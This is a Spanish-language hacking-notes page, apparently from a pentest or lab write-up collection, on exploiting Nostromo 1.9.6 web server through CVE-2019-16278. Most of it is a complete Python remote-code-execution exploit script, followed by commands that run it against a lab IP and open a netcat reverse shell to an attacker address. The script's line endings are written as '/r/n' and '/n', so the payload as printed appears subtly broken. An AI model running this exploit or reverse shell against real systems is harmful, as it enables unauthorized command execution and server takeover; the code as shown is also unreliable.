> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/nostromo-cms-exploitation.md).

# Nostromo

Notas de explotación de Nostromo para ejecución remota de comandos CVE-2019-16278, entrega de una shell inversa y enumeración de HomeDirs.

## RCE de Nostromo CVE-2019-16278

**Investigación del exploit:** `searchsploit` identifica un exploit de RCE para Nostromo 1.9.6.

<figure><img src="/files/04e81ab1d1118bca7569c4ef65a44907f1034a67" alt="" width="563"><figcaption></figcaption></figure>

Descargue la prueba de concepto desde GitHub.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Ejecución del script:** Use el siguiente script para ejecutar comandos en el servidor:

```python
import argparse
import socket

# Configuración de argparse
parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE")
parser.add_argument("-t", "--target", help="Remote host to target")
parser.add_argument("-p", "--port", help="Remote port to target")
parser.add_argument("-c", "--command", help="Command to execute on the server")
parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response")

# Definir y asignar las variables
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Construir y codificar el payload
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Crear el socket y enviar el payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Recibir la respuesta y cerrar el socket
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/cdd3a38d197f63b6e57d6234c1ebf9bca437f615" alt="" width="563"><figcaption></figcaption></figure>

**Obtención de una shell inversa:**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/31329211887a138aa78cfde253868e860d0c41ea" alt=""><figcaption></figcaption></figure>

## Nota relacionada

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-server" style="color:$primary;">:server:</i></h3></td><td><h4>Configuración de HomeDirs</h4></td><td>Notas de enumeración de HomeDirs de Nostromo para revisión de nhttpd.conf, descubrimiento de public_www, acceso a protected-file-area, extracción de archivos de respaldo y recuperación de claves SSH.</td><td><a href="/pages/0673bc623338c0b9b800d5d2565a30121741f6b0">/pages/0673bc623338c0b9b800d5d2565a30121741f6b0</a></td></tr></tbody></table>


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